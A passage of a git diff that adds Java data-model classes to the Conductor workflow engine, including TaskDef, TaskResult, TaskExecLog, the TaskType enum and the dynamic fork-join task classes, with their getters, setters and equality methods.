totalTimeoutSeconds: {value} must be >= 0") + private long totalTimeoutSeconds; + + @ProtoField(id = 23) + private boolean taskStatusListenerEnabled = true; + + private SchemaDef inputSchema; + private SchemaDef outputSchema; + private boolean enforceSchema; + + public TaskDef() {} + + public TaskDef(String name) { + this.name = name; + } + + public TaskDef(String name, String description) { + this.name = name; + this.description = description; + } + + public TaskDef(String name, String description, int retryCount, long timeoutSeconds) { + this.name = name; + this.description = description; + this.retryCount = retryCount; + this.timeoutSeconds = timeoutSeconds; + } + + public TaskDef( + String name, + String description, + String ownerEmail, + int retryCount, + long timeoutSeconds, + long responseTimeoutSeconds) { + this.name = name; + this.description = description; + this.ownerEmail = ownerEmail; + this.retryCount = retryCount; + this.timeoutSeconds = timeoutSeconds; + this.responseTimeoutSeconds = responseTimeoutSeconds; + } + + /** + * @return the name + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the description + */ + public String getDescription() { + return description; + } + + /** + * @param description the description to set + */ + public void setDescription(String description) { + this.description = description; + } + + /** + * @return the retryCount + */ + public int getRetryCount() { + return retryCount; + } + + /** + * @param retryCount the retryCount to set + */ + public void setRetryCount(int retryCount) { + this.retryCount = retryCount; + } + + /** + * @return the timeoutSeconds + */ + public long getTimeoutSeconds() { + return timeoutSeconds; + } + + /** + * @param timeoutSeconds the timeoutSeconds to set + */ + public void setTimeoutSeconds(long timeoutSeconds) { + this.timeoutSeconds = timeoutSeconds; + } + + /** + * @return Returns the input keys + */ + public List getInputKeys() { + return inputKeys; + } + + /** + * @param inputKeys Set of keys that the task accepts in the input map + */ + public void setInputKeys(List inputKeys) { + this.inputKeys = inputKeys; + } + + /** + * @return Returns the output keys for the task when executed + */ + public List getOutputKeys() { + return outputKeys; + } + + /** + * @param outputKeys Sets the output keys + */ + public void setOutputKeys(List outputKeys) { + this.outputKeys = outputKeys; + } + + /** + * @return Returns the declared secret/environment variable names this task needs + */ + public List getRuntimeMetadata() { + return runtimeMetadata; + } + + /** + * @param runtimeMetadata Names of secrets/environment variables that the task needs resolved + * and injected at poll time + */ + public void setRuntimeMetadata(List runtimeMetadata) { + this.runtimeMetadata = runtimeMetadata; + } + + /** + * @return the timeoutPolicy + */ + public TimeoutPolicy getTimeoutPolicy() { + return timeoutPolicy; + } + + /** + * @param timeoutPolicy the timeoutPolicy to set + */ + public void setTimeoutPolicy(TimeoutPolicy timeoutPolicy) { + this.timeoutPolicy = timeoutPolicy; + } + + /** + * @return the retryLogic + */ + public RetryLogic getRetryLogic() { + return retryLogic; + } + + /** + * @param retryLogic the retryLogic to set + */ + public void setRetryLogic(RetryLogic retryLogic) { + this.retryLogic = retryLogic; + } + + /** + * @return the retryDelaySeconds + */ + public int getRetryDelaySeconds() { + return retryDelaySeconds; + } + + /** + * @return the timeout for task to send response. After this timeout, the task will be re-queued + */ + public long getResponseTimeoutSeconds() { + return responseTimeoutSeconds; + } + + /** + * @param responseTimeoutSeconds - timeout for task to send response. After this timeout, the + * task will be re-queued + */ + public void setResponseTimeoutSeconds(long responseTimeoutSeconds) { + this.responseTimeoutSeconds = responseTimeoutSeconds; + } + + /** + * @param retryDelaySeconds the retryDelaySeconds to set + */ + public void setRetryDelaySeconds(int retryDelaySeconds) { + this.retryDelaySeconds = retryDelaySeconds; + } + + /** + * @return the inputTemplate + */ + public Map getInputTemplate() { + return inputTemplate; + } + + /** + * @return rateLimitPerFrequency The max number of tasks that will be allowed to be executed per + * rateLimitFrequencyInSeconds. + */ + public Integer getRateLimitPerFrequency() { + return rateLimitPerFrequency == null ? 0 : rateLimitPerFrequency; + } + + /** + * @param rateLimitPerFrequency The max number of tasks that will be allowed to be executed per + * rateLimitFrequencyInSeconds. Setting the value to 0 removes the rate limit + */ + public void setRateLimitPerFrequency(Integer rateLimitPerFrequency) { + this.rateLimitPerFrequency = rateLimitPerFrequency; + } + + /** + * @return rateLimitFrequencyInSeconds: The time bucket that is used to rate limit tasks based + * on {@link #getRateLimitPerFrequency()} If null or not set, then defaults to 1 second + */ + public Integer getRateLimitFrequencyInSeconds() { + return rateLimitFrequencyInSeconds == null ? 1 : rateLimitFrequencyInSeconds; + } + + /** + * @param rateLimitFrequencyInSeconds: The time window/bucket for which the rate limit needs to + * be applied. This will only have affect if {@link #getRateLimitPerFrequency()} is greater + * than zero + */ + public void setRateLimitFrequencyInSeconds(Integer rateLimitFrequencyInSeconds) { + this.rateLimitFrequencyInSeconds = rateLimitFrequencyInSeconds; + } + + /** + * @param concurrentExecLimit Limit of number of concurrent task that can be IN_PROGRESS at a + * given time. Seting the value to 0 removes the limit. + */ + public void setConcurrentExecLimit(Integer concurrentExecLimit) { + this.concurrentExecLimit = concurrentExecLimit; + } + + /** + * @return Limit of number of concurrent task that can be IN_PROGRESS at a given time + */ + public Integer getConcurrentExecLimit() { + return concurrentExecLimit; + } + + /** + * @return concurrency limit + */ + public int concurrencyLimit() { + return concurrentExecLimit == null ? 0 : concurrentExecLimit; + } + + /** + * @param inputTemplate the inputTemplate to set + */ + public void setInputTemplate(Map inputTemplate) { + this.inputTemplate = inputTemplate; + } + + public String getIsolationGroupId() { + return isolationGroupId; + } + + public void setIsolationGroupId(String isolationGroupId) { + this.isolationGroupId = isolationGroupId; + } + + public String getExecutionNameSpace() { + return executionNameSpace; + } + + public void setExecutionNameSpace(String executionNameSpace) { + this.executionNameSpace = executionNameSpace; + } + + /** + * @return the email of the owner of this task definition + */ + public String getOwnerEmail() { + return ownerEmail; + } + + /** + * @param ownerEmail the owner email to set + */ + public void setOwnerEmail(String ownerEmail) { + this.ownerEmail = ownerEmail; + } + + /** + * @param pollTimeoutSeconds the poll timeout to set + */ + public void setPollTimeoutSeconds(Integer pollTimeoutSeconds) { + this.pollTimeoutSeconds = pollTimeoutSeconds; + } + + /** + * @return the poll timeout of this task definition + */ + public Integer getPollTimeoutSeconds() { + return pollTimeoutSeconds; + } + + /** + * @param backoffScaleFactor the backoff rate to set + */ + public void setBackoffScaleFactor(Integer backoffScaleFactor) { + this.backoffScaleFactor = backoffScaleFactor; + } + + /** + * @return the backoff rate of this task definition + */ + public Integer getBackoffScaleFactor() { + return backoffScaleFactor; + } + + /** + * Maximum delay between retries in seconds. When set to a value greater than 0, the computed + * delay for {@code EXPONENTIAL_BACKOFF} and {@code LINEAR_BACKOFF} retry logic will be capped + * at this value. A value of 0 (the default) means no cap is applied. + * + *

Example: 20 retries with exponential backoff starting at 1 s and capped at 600 s will back + * off as 1, 2, 4, 8, …, 600, 600, 600, … instead of growing unboundedly. + */ + public int getMaxRetryDelaySeconds() { + return maxRetryDelaySeconds; + } + + public void setMaxRetryDelaySeconds(int maxRetryDelaySeconds) { + this.maxRetryDelaySeconds = maxRetryDelaySeconds; + } + + /** + * Maximum jitter to add to the retry delay. On each retry a random value in {@code [0, + * backoffJitterMs]} milliseconds is added to the computed delay, spreading retries across time + * and preventing thundering-herd storms when many tasks fail simultaneously. A value of 0 (the + * default) disables jitter. + */ + public int getBackoffJitterMs() { + return backoffJitterMs; + } + + public void setBackoffJitterMs(int backoffJitterMs) { + this.backoffJitterMs = backoffJitterMs; + } + + public String getBaseType() { + return baseType; + } + + public void setBaseType(String baseType) { + this.baseType = baseType; + } + + public SchemaDef getInputSchema() { + return inputSchema; + } + + public void setInputSchema(SchemaDef inputSchema) { + this.inputSchema = inputSchema; + } + + public SchemaDef getOutputSchema() { + return outputSchema; + } + + public void setOutputSchema(SchemaDef outputSchema) { + this.outputSchema = outputSchema; + } + + public boolean isEnforceSchema() { + return enforceSchema; + } + + public void setEnforceSchema(boolean enforceSchema) { + this.enforceSchema = enforceSchema; + } + + public long getTotalTimeoutSeconds() { + return totalTimeoutSeconds; + } + + public void setTotalTimeoutSeconds(long totalTimeoutSeconds) { + this.totalTimeoutSeconds = totalTimeoutSeconds; + } + + public boolean isTaskStatusListenerEnabled() { + return taskStatusListenerEnabled; + } + + public void setTaskStatusListenerEnabled(boolean taskStatusListenerEnabled) { + this.taskStatusListenerEnabled = taskStatusListenerEnabled; + } + + @Override + public String toString() { + return name; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + TaskDef taskDef = (TaskDef) o; + return getRetryCount() == taskDef.getRetryCount() + && getTimeoutSeconds() == taskDef.getTimeoutSeconds() + && getRetryDelaySeconds() == taskDef.getRetryDelaySeconds() + && getBackoffScaleFactor() == taskDef.getBackoffScaleFactor() + && getResponseTimeoutSeconds() == taskDef.getResponseTimeoutSeconds() + && Objects.equals(getName(), taskDef.getName()) + && Objects.equals(getDescription(), taskDef.getDescription()) + && Objects.equals(getInputKeys(), taskDef.getInputKeys()) + && Objects.equals(getOutputKeys(), taskDef.getOutputKeys()) + && Objects.equals(getRuntimeMetadata(), taskDef.getRuntimeMetadata()) + && getTimeoutPolicy() == taskDef.getTimeoutPolicy() + && getRetryLogic() == taskDef.getRetryLogic() + && Objects.equals(getConcurrentExecLimit(), taskDef.getConcurrentExecLimit()) + && Objects.equals(getRateLimitPerFrequency(), taskDef.getRateLimitPerFrequency()) + && Objects.equals(getInputTemplate(), taskDef.getInputTemplate()) + && Objects.equals(getIsolationGroupId(), taskDef.getIsolationGroupId()) + && Objects.equals(getExecutionNameSpace(), taskDef.getExecutionNameSpace()) + && Objects.equals(getOwnerEmail(), taskDef.getOwnerEmail()) + && Objects.equals(getBaseType(), taskDef.getBaseType()) + && Objects.equals(getInputSchema(), taskDef.getInputSchema()) + && Objects.equals(getOutputSchema(), taskDef.getOutputSchema()) + && Objects.equals(getTotalTimeoutSeconds(), taskDef.getTotalTimeoutSeconds()) + && getMaxRetryDelaySeconds() == taskDef.getMaxRetryDelaySeconds() + && getBackoffJitterMs() == taskDef.getBackoffJitterMs(); + } + + @Override + public int hashCode() { + + return Objects.hash( + getName(), + getDescription(), + getRetryCount(), + getTimeoutSeconds(), + getInputKeys(), + getOutputKeys(), + getRuntimeMetadata(), + getTimeoutPolicy(), + getRetryLogic(), + getRetryDelaySeconds(), + getBackoffScaleFactor(), + getResponseTimeoutSeconds(), + getConcurrentExecLimit(), + getRateLimitPerFrequency(), + getInputTemplate(), + getIsolationGroupId(), + getExecutionNameSpace(), + getOwnerEmail(), + getBaseType(), + getInputSchema(), + getOutputSchema(), + getTotalTimeoutSeconds(), + getMaxRetryDelaySeconds(), + getBackoffJitterMs()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskExecLog.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskExecLog.java new file mode 100644 index 0000000..a04eb12 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskExecLog.java @@ -0,0 +1,100 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +/** Model that represents the task's execution log. */ +@ProtoMessage +public class TaskExecLog { + + @ProtoField(id = 1) + private String log; + + @ProtoField(id = 2) + private String taskId; + + @ProtoField(id = 3) + private long createdTime; + + public TaskExecLog() {} + + public TaskExecLog(String log) { + this.log = log; + this.createdTime = System.currentTimeMillis(); + } + + /** + * @return Task Exec Log + */ + public String getLog() { + return log; + } + + /** + * @param log The Log + */ + public void setLog(String log) { + this.log = log; + } + + /** + * @return the taskId + */ + public String getTaskId() { + return taskId; + } + + /** + * @param taskId the taskId to set + */ + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + /** + * @return the createdTime + */ + public long getCreatedTime() { + return createdTime; + } + + /** + * @param createdTime the createdTime to set + */ + public void setCreatedTime(long createdTime) { + this.createdTime = createdTime; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + TaskExecLog that = (TaskExecLog) o; + return createdTime == that.createdTime + && Objects.equals(log, that.log) + && Objects.equals(taskId, that.taskId); + } + + @Override + public int hashCode() { + return Objects.hash(log, taskId, createdTime); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskResult.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskResult.java new file mode 100644 index 0000000..29ddfe1 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskResult.java @@ -0,0 +1,364 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.CopyOnWriteArrayList; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import com.google.protobuf.Any; +import io.swagger.v3.oas.annotations.Hidden; +import jakarta.validation.constraints.NotEmpty; + +/** Result of the task execution. */ +@ProtoMessage +public class TaskResult { + + @ProtoEnum + public enum Status { + IN_PROGRESS, + FAILED, + FAILED_WITH_TERMINAL_ERROR, + COMPLETED + } + + @NotEmpty(message = "Workflow Id cannot be null or empty") + @ProtoField(id = 1) + private String workflowInstanceId; + + @NotEmpty(message = "Task ID cannot be null or empty") + @ProtoField(id = 2) + private String taskId; + + @ProtoField(id = 3) + private String reasonForIncompletion; + + @ProtoField(id = 4) + private long callbackAfterSeconds; + + @ProtoField(id = 5) + private String workerId; + + @ProtoField(id = 6) + private Status status; + + @ProtoField(id = 7) + private Map outputData = new HashMap<>(); + + @ProtoField(id = 8) + @Hidden + private Any outputMessage; + + @ProtoField(id = 9) + private ExecutionMetadata executionMetadata; + + private List logs = new CopyOnWriteArrayList<>(); + + private String externalOutputPayloadStoragePath; + + private String subWorkflowId; + + private boolean extendLease; + + public TaskResult(Task task) { + this.workflowInstanceId = task.getWorkflowInstanceId(); + this.taskId = task.getTaskId(); + this.reasonForIncompletion = task.getReasonForIncompletion(); + this.callbackAfterSeconds = task.getCallbackAfterSeconds(); + this.workerId = task.getWorkerId(); + this.outputData = task.getOutputData(); + // Only copy ExecutionMetadata if the task actually has one (to avoid creating empty ones) + if (task.hasExecutionMetadata()) { + this.executionMetadata = task.getExecutionMetadata(); + } + this.externalOutputPayloadStoragePath = task.getExternalOutputPayloadStoragePath(); + this.subWorkflowId = task.getSubWorkflowId(); + switch (task.getStatus()) { + case CANCELED: + case COMPLETED_WITH_ERRORS: + case TIMED_OUT: + case SKIPPED: + this.status = Status.FAILED; + break; + case SCHEDULED: + this.status = Status.IN_PROGRESS; + break; + default: + this.status = Status.valueOf(task.getStatus().name()); + break; + } + } + + public TaskResult() {} + + /** + * @return Workflow instance id for which the task result is produced + */ + public String getWorkflowInstanceId() { + return workflowInstanceId; + } + + public void setWorkflowInstanceId(String workflowInstanceId) { + this.workflowInstanceId = workflowInstanceId; + } + + public String getTaskId() { + return taskId; + } + + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = StringUtils.substring(reasonForIncompletion, 0, 500); + } + + public long getCallbackAfterSeconds() { + return callbackAfterSeconds; + } + + /** + * When set to non-zero values, the task remains in the queue for the specified seconds before + * sent back to the worker when polled. Useful for the long running task, where the task is + * updated as IN_PROGRESS and should not be polled out of the queue for a specified amount of + * time. (delayed queue implementation) + * + * @param callbackAfterSeconds Amount of time in seconds the task should be held in the queue + * before giving it to a polling worker. + */ + public void setCallbackAfterSeconds(long callbackAfterSeconds) { + this.callbackAfterSeconds = callbackAfterSeconds; + } + + public String getWorkerId() { + return workerId; + } + + /** + * @param workerId a free form string identifying the worker host. Could be hostname, IP Address + * or any other meaningful identifier that can help identify the host/process which executed + * the task, in case of troubleshooting. + */ + public void setWorkerId(String workerId) { + this.workerId = workerId; + } + + /** + * @return the status + */ + public Status getStatus() { + return status; + } + + /** + * @param status Status of the task + *

IN_PROGRESS: Use this for long running tasks, indicating the task is still in + * progress and should be checked again at a later time. e.g. the worker checks the status + * of the job in the DB, while the job is being executed by another process. + *

FAILED, FAILED_WITH_TERMINAL_ERROR, COMPLETED: Terminal statuses for the task. + * Use FAILED_WITH_TERMINAL_ERROR when you do not want the task to be retried. + * @see #setCallbackAfterSeconds(long) + */ + public void setStatus(Status status) { + this.status = status; + } + + public Map getOutputData() { + return outputData; + } + + /** + * @param outputData output data to be set for the task execution result + */ + public void setOutputData(Map outputData) { + this.outputData = outputData; + } + + /** + * Adds output + * + * @param key output field + * @param value value + * @return current instance + */ + public TaskResult addOutputData(String key, Object value) { + this.outputData.put(key, value); + return this; + } + + public Any getOutputMessage() { + return outputMessage; + } + + public void setOutputMessage(Any outputMessage) { + this.outputMessage = outputMessage; + } + + /** + * @return Task execution logs + */ + public List getLogs() { + return logs; + } + + /** + * @param logs Task execution logs + */ + public void setLogs(List logs) { + this.logs = logs; + } + + /** + * @param log Log line to be added + * @return Instance of TaskResult + */ + public TaskResult log(String log) { + this.logs.add(new TaskExecLog(log)); + return this; + } + + /** + * @return the path where the task output is stored in external storage + */ + public String getExternalOutputPayloadStoragePath() { + return externalOutputPayloadStoragePath; + } + + /** + * @param externalOutputPayloadStoragePath path in the external storage where the task output is + * stored + */ + public void setExternalOutputPayloadStoragePath(String externalOutputPayloadStoragePath) { + this.externalOutputPayloadStoragePath = externalOutputPayloadStoragePath; + } + + public String getSubWorkflowId() { + return subWorkflowId; + } + + public void setSubWorkflowId(String subWorkflowId) { + this.subWorkflowId = subWorkflowId; + } + + public boolean isExtendLease() { + return extendLease; + } + + public void setExtendLease(boolean extendLease) { + this.extendLease = extendLease; + } + + /** + * @return the execution metadata containing timing, worker context, and other operational data. + * Returns null if no execution metadata has been explicitly set or used. + */ + public ExecutionMetadata getExecutionMetadata() { + // Only return ExecutionMetadata if it exists and has data + if (executionMetadata != null && executionMetadata.hasData()) { + return executionMetadata; + } + return null; + } + + /** + * @return the execution metadata, creating it if it doesn't exist (for setting timing data) + */ + public ExecutionMetadata getOrCreateExecutionMetadata() { + if (executionMetadata == null) { + executionMetadata = new ExecutionMetadata(); + } + return executionMetadata; + } + + /** + * @param executionMetadata the execution metadata to set + */ + public void setExecutionMetadata(ExecutionMetadata executionMetadata) { + this.executionMetadata = executionMetadata; + } + + @Override + public String toString() { + return "TaskResult{" + + "workflowInstanceId='" + + workflowInstanceId + + '\'' + + ", taskId='" + + taskId + + '\'' + + ", reasonForIncompletion='" + + reasonForIncompletion + + '\'' + + ", callbackAfterSeconds=" + + callbackAfterSeconds + + ", workerId='" + + workerId + + '\'' + + ", status=" + + status + + ", outputData=" + + outputData + + ", outputMessage=" + + outputMessage + + ", logs=" + + logs + + ", executionMetadata=" + + executionMetadata + + ", externalOutputPayloadStoragePath='" + + externalOutputPayloadStoragePath + + '\'' + + ", subWorkflowId='" + + subWorkflowId + + '\'' + + ", extendLease='" + + extendLease + + '\'' + + '}'; + } + + public static TaskResult complete() { + return newTaskResult(Status.COMPLETED); + } + + public static TaskResult failed() { + return newTaskResult(Status.FAILED); + } + + public static TaskResult failed(String failureReason) { + TaskResult result = newTaskResult(Status.FAILED); + result.setReasonForIncompletion(failureReason); + return result; + } + + public static TaskResult inProgress() { + return newTaskResult(Status.IN_PROGRESS); + } + + public static TaskResult newTaskResult(Status status) { + TaskResult result = new TaskResult(); + result.setStatus(status); + return result; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskType.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskType.java new file mode 100644 index 0000000..ccd1dd1 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskType.java @@ -0,0 +1,121 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.HashSet; +import java.util.Set; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; + +@ProtoEnum +public enum TaskType { + SIMPLE, + DYNAMIC, + FORK_JOIN, + FORK_JOIN_DYNAMIC, + DECISION, + SWITCH, + JOIN, + DO_WHILE, + SUB_WORKFLOW, + START_WORKFLOW, + EVENT, + WAIT, + HUMAN, + USER_DEFINED, + HTTP, + LAMBDA, + INLINE, + EXCLUSIVE_JOIN, + TERMINATE, + KAFKA_PUBLISH, + JSON_JQ_TRANSFORM, + SET_VARIABLE, + NOOP, + LLM_TEXT_COMPLETE, + LLM_CHAT_COMPLETE, + LLM_INDEX_TEXT, + LLM_SEARCH_INDEX, + LLM_GENERATE_EMBEDDINGS, + LLM_STORE_EMBEDDINGS, + LLM_GET_EMBEDDINGS, + LIST_MCP_TOOLS, + CALL_MCP_TOOL, + PULL_WORKFLOW_MESSAGES, + AGENT, + GET_AGENT_CARD, + CANCEL_AGENT; + + /** + * TaskType constants representing each of the possible enumeration values. Motivation: to not + * have any hardcoded/inline strings used in the code. + */ + public static final String TASK_TYPE_DECISION = "DECISION"; + + public static final String TASK_TYPE_SWITCH = "SWITCH"; + public static final String TASK_TYPE_DYNAMIC = "DYNAMIC"; + public static final String TASK_TYPE_JOIN = "JOIN"; + public static final String TASK_TYPE_DO_WHILE = "DO_WHILE"; + public static final String TASK_TYPE_FORK_JOIN_DYNAMIC = "FORK_JOIN_DYNAMIC"; + public static final String TASK_TYPE_EVENT = "EVENT"; + public static final String TASK_TYPE_WAIT = "WAIT"; + public static final String TASK_TYPE_HUMAN = "HUMAN"; + public static final String TASK_TYPE_SUB_WORKFLOW = "SUB_WORKFLOW"; + public static final String TASK_TYPE_START_WORKFLOW = "START_WORKFLOW"; + public static final String TASK_TYPE_FORK_JOIN = "FORK_JOIN"; + public static final String TASK_TYPE_SIMPLE = "SIMPLE"; + public static final String TASK_TYPE_HTTP = "HTTP"; + public static final String TASK_TYPE_LAMBDA = "LAMBDA"; + public static final String TASK_TYPE_INLINE = "INLINE"; + public static final String TASK_TYPE_EXCLUSIVE_JOIN = "EXCLUSIVE_JOIN"; + public static final String TASK_TYPE_TERMINATE = "TERMINATE"; + public static final String TASK_TYPE_KAFKA_PUBLISH = "KAFKA_PUBLISH"; + public static final String TASK_TYPE_JSON_JQ_TRANSFORM = "JSON_JQ_TRANSFORM"; + public static final String TASK_TYPE_SET_VARIABLE = "SET_VARIABLE"; + public static final String TASK_TYPE_FORK = "FORK"; + public static final String TASK_TYPE_NOOP = "NOOP"; + public static final String TASK_TYPE_PULL_WORKFLOW_MESSAGES = "PULL_WORKFLOW_MESSAGES"; + + private static final Set BUILT_IN_TASKS = new HashSet<>(); + + static { + BUILT_IN_TASKS.add(TASK_TYPE_DECISION); + BUILT_IN_TASKS.add(TASK_TYPE_SWITCH); + BUILT_IN_TASKS.add(TASK_TYPE_FORK); + BUILT_IN_TASKS.add(TASK_TYPE_JOIN); + BUILT_IN_TASKS.add(TASK_TYPE_EXCLUSIVE_JOIN); + BUILT_IN_TASKS.add(TASK_TYPE_DO_WHILE); + } + + /** + * Converts a task type string to {@link TaskType}. For an unknown string, the value is + * defaulted to {@link TaskType#USER_DEFINED}. + * + *

NOTE: Use {@link Enum#valueOf(Class, String)} if the default of USER_DEFINED is not + * necessary. + * + * @param taskType The task type string. + * @return The {@link TaskType} enum. + */ + public static TaskType of(String taskType) { + try { + return TaskType.valueOf(taskType); + } catch (IllegalArgumentException iae) { + return TaskType.USER_DEFINED; + } + } + + public static boolean isBuiltIn(String taskType) { + return BUILT_IN_TASKS.contains(taskType); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/CacheConfig.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/CacheConfig.java new file mode 100644 index 0000000..8d5f896 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/CacheConfig.java @@ -0,0 +1,42 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +@ProtoMessage +public class CacheConfig { + + @ProtoField(id = 1) + private String key; + + @ProtoField(id = 2) + private int ttlInSecond; + + public String getKey() { + return key; + } + + public void setKey(String key) { + this.key = key; + } + + public int getTtlInSecond() { + return ttlInSecond; + } + + public void setTtlInSecond(int ttlInSecond) { + this.ttlInSecond = ttlInSecond; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTask.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTask.java new file mode 100644 index 0000000..05c5dfb --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTask.java @@ -0,0 +1,104 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.HashMap; +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.tasks.TaskType; + +@ProtoMessage +public class DynamicForkJoinTask { + + @ProtoField(id = 1) + private String taskName; + + @ProtoField(id = 2) + private String workflowName; + + @ProtoField(id = 3) + private String referenceName; + + @ProtoField(id = 4) + private Map input = new HashMap<>(); + + @ProtoField(id = 5) + private String type = TaskType.SIMPLE.name(); + + public DynamicForkJoinTask() {} + + public DynamicForkJoinTask( + String taskName, String workflowName, String referenceName, Map input) { + super(); + this.taskName = taskName; + this.workflowName = workflowName; + this.referenceName = referenceName; + this.input = input; + } + + public DynamicForkJoinTask( + String taskName, + String workflowName, + String referenceName, + String type, + Map input) { + super(); + this.taskName = taskName; + this.workflowName = workflowName; + this.referenceName = referenceName; + this.input = input; + this.type = type; + } + + public String getTaskName() { + return taskName; + } + + public void setTaskName(String taskName) { + this.taskName = taskName; + } + + public String getWorkflowName() { + return workflowName; + } + + public void setWorkflowName(String workflowName) { + this.workflowName = workflowName; + } + + public String getReferenceName() { + return referenceName; + } + + public void setReferenceName(String referenceName) { + this.referenceName = referenceName; + } + + public Map getInput() { + return input; + } + + public void setInput(Map input) { + this.input = input; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTaskList.java b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTaskList.java new file mode 100644 index 0000000..ca5292b --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTaskList.java @@ -0,0 +1,44 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.workflow; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +@ProtoMessage +public class DynamicForkJoinTaskList { + + @ProtoField(id = 1) + private List dynamicTasks = new ArrayList<>(); + + public void add( + String taskName, String workflowName, String referenceName, Map input) { + dynamicTasks.add(new DynamicForkJoinTask(taskName, workflowName, referenceName, input)); + } + + public void add(DynamicForkJoinTask dtask) { + dynamicTasks.add(dtask); + } + + public List getDynamicTasks() { + return dynamicTasks; + } + + public void setDynamicTasks(List dynamicTasks) { + this.dynamicTasks = dynamicTasks; + } +} diff --git 